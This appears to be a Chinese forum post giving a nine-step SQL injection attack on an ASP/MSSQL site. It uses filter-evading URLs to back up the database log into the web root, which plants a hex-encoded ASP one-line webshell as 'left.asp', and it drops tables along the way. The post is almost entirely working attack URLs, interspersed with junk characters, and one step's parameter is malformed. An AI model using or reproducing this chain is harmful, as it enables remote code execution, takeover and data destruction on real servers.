第一步4 t$ f( E1 F# w/ o
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--3 ^" p3 [: U2 N, ]' G
" v. {* k! O3 r4 t第二步:( f4 n! j( u/ }6 G# P/ z
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
- X* P0 i* `+ o w K8 I7 p5 J6 M2 X: ^. n O
第三步/ `) S& i3 b! h& `* w1 Y
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--" w# Q4 C7 k# E* w/ g2 f
! S/ c8 U+ v$ ^- p
第四步
. J' @# @1 ^# y% |( Y1 yhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--. B( @2 [' o, O* R! a, p
' v2 ]0 J1 B* m* ]& u; X h
第五步8 e. y& z7 O$ E1 U( t2 o
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--. ~' ]' z0 l6 B7 d
3 E! d+ a- r. C) ~6 H& G6 y5 d第六步
, v6 P0 D3 {2 `: ~http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
$ A' J! O5 t8 {; u' |. ]) T% U' N& ^) L+ E6 m
第七步
, ]) s/ @6 Q4 V8 M( _http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--( Q9 Z9 S' s+ I& v
3 u1 v* M$ O& u" _第八步. L5 `6 c# w7 W- x1 J
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--: T. T0 z. I5 E% K3 U7 F( l$ n1 S5 y
9 `, p$ A: I; G5 v; O; k4 _4 }
第九步' D7 j. D( p+ O
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--4 r. k$ P0 `% ^5 g: L, @$ [8 S
|